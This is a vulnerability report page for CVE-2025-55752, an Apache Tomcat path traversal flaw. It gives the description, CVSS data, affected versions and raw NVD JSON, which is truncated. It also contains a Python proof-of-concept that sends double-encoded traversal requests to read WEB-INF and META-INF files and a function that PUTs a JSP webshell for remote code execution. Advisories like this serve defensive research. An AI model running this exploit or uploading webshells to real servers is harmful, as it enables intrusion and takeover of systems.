Security Vulnerability Report
中文
CVE-2025-55752 CVSS 7.5 HIGH

CVE-2025-55752

Published: 2025-10-27 18:15:42
Last Modified: 2026-05-12 13:17:22

Description

Relative Path Traversal vulnerability in Apache Tomcat. The fix for bug 60013 introduced a regression where the rewritten URL was normalized before it was decoded. This introduced the possibility that, for rewrite rules that rewrite query parameters to the URL, an attacker could manipulate the request URI to bypass security constraints including the protection for /WEB-INF/ and /META-INF/. If PUT requests were also enabled then malicious files could be uploaded leading to remote code execution. PUT requests are normally limited to trusted users and it is considered unlikely that PUT requests would be enabled in conjunction with a rewrite that manipulated the URI. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.0.M11 through 9.0.108. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.6 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:* - VULNERABLE
Apache Tomcat 8.5.6 - 8.5.100
Apache Tomcat 9.0.0.M11 - 9.0.108
Apache Tomcat 10.1.0-M1 - 10.1.44
Apache Tomcat 11.0.0-M1 - 11.0.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-55752 Apache Tomcat Path Traversal PoC # Target: Apache Tomcat with rewrite module enabled def test_path_traversal(target_url): """ Test for CVE-2025-55752: Path traversal via URL rewrite The vulnerability allows bypassing /WEB-INF/ and /META-INF/ protection """ # Target endpoint with vulnerable rewrite rule base_url = target_url.rstrip('/') # Payload: Double URL encoded path traversal # %252f = encoded /, %252e = encoded . # This bypasses the normalization before decode issue payloads = [ f"{base_url}/..%252f..%252fWEB-INF/web.xml", f"{base_url}/..%252f..%252fWEB-INF/classes/", f"{base_url}/..%252f..%252fMETA-INF/context.xml" ] for payload in payloads: try: response = requests.get(payload, timeout=10) print(f"[*] Testing: {payload}") print(f"[*] Status: {response.status_code}") # Check if sensitive file was exposed if response.status_code == 200: if 'web-app' in response.text or 'Context' in response.text: print("[!] VULNERABLE - Sensitive file exposed!") print(f"[*] Content length: {len(response.text)}") return True except requests.RequestException as e: print(f"[-] Error: {e}") return False def exploit_rce(target_url, webshell_content): """ If PUT is enabled, attempt to upload malicious file Requires: vulnerable rewrite + PUT method enabled """ # Path traversal to reach upload directory upload_path = f"{target_url}/..%252f..%252fupload/malicious.jsp" headers = { 'Content-Type': 'text/plain', 'Destination': 'malicious.jsp' } try: response = requests.put( upload_path, data=webshell_content, headers=headers, timeout=10 ) print(f"[*] PUT request status: {response.status_code}") return response.status_code in [200, 201, 204] except requests.RequestException as e: print(f"[-] PUT request failed: {e}") return False if __name__ == "__main__": target = input("Enter target URL (e.g., http://target:8080): ") test_path_traversal(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55752", "sourceIdentifier": "[email protected]", "published": "2025-10-27T18:15:42.283", "lastModified": "2026-05-12T13:17:22.247", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Relative Path Traversal vulnerability in Apache Tomcat.\n\nThe fix for bug 60013 introduced a regression where the rewritten URL was normalized before it was decoded. This introduced the possibility that, for rewrite rules that rewrite query parameters to the URL, an attacker could manipulate the request URI to bypass security constraints including the protection for /WEB-INF/ and /META-INF/. If PUT requests were also enabled then malicious files could be uploaded leading to remote code execution. PUT requests are normally limited to trusted users and it is considered unlikely that PUT requests would be enabled in conjunction with a rewrite that manipulated the URI.\n\n\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.0.M11 through 9.0.108.\n\nThe following versions were EOL at the time the CVE was created but are \nknown to be affected: 8.5.6 though 8.5.100. Other, older, EOL versions may also be affected.\nUsers are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-23"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.5.6", "versionEndIncluding": "8.5.100", "matchCriteriaId": "FE87467F-4329-41D6-B68F-EBF2881F7B70"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.1", "versionEndExcluding": "9.0.109", "matchCriteriaId": "5A5E503E-C3EC-4094-98E8-2CD3256D027E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.0.27", "matchCriteriaId": "B30CA0D9-834D-4044-B03B-7E6E60A4B0E6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.1.0", "versionEndExcluding": "10.1.45", "matchCriteriaId": "27F4F718-AE8D-417A-BEE4-780FD77625D2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "11.0.11", "matchCriteriaId": "FC2A3FE1-BC50-419D-AEFA-097C58A3F243"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:9.0.0:-:*:*:*:*:*:*", "matchCriteriaId": "67BBBD83-E232-4198-9748-C512D9E0EEDD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:9.0.0:milestone11:*:*:*:*:*:*", "matchCriteriaId": "8B6787B6-54A8-475E-BA1C-AB99334B2535"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:9.0.0:milestone12:*:*:*:*:*:*", "matchCriteriaId": "EABB6FBC-7486-44D5-A6AD-FFF1D3F677E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:9.0.0:milestone13:*:*:*:*:*:*", "matchCriteriaId": "E10C03BC-EE6B-45B2-83AE-9E8DFB58D7DB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:9.0.0:milestone14:*:*:*:*:*:*", "matchCriteriaId": "8A6DA0BE-908C-4DA8-A191-A0113235E99A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:9.0.0:milestone15:*:*:*:*:*:*", "matchCriteriaId": "39029C72-28B4-46A4-BFF5-EC822CFB2A4C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:9.0.0:milestone16:*:*:*:*:*:*", "matchCriteriaId": "1A2E05A3-014F-4C4D-81E5-88E725FBD6AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:9.0.0:milestone17:*:*:*:*:*:*", "matchCriteriaId": "166C533C-0833-41D5-99B6-17A4FAB3CAF0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:9.0.0:milestone18:*:*:*:*:*:*", "matchCriteriaId": "D3768C60-21FA-4B92-B98C-C3A2602D1BC4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:9.0.0:milestone19:*:*:*:*:*:*", "matchCriteriaId": "DDD510FA-A2E4-4BAF-A0DE-F4E5777E9325"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:9.0.0:milestone20:*:*:*:*:*:*", "matchCriteriaId": "C2409CC7-6A85-4A66-A457-0D62B9895DC1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:9.0.0:milestone21:*:*:*:*:*:*", "matchCriteriaId": "B392A7E5-4455-4B1C-8FAC-AE6DDC70689E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:tomcat:9.0.0:milestone22:*:*:*:*:*:*", "match ... (truncated)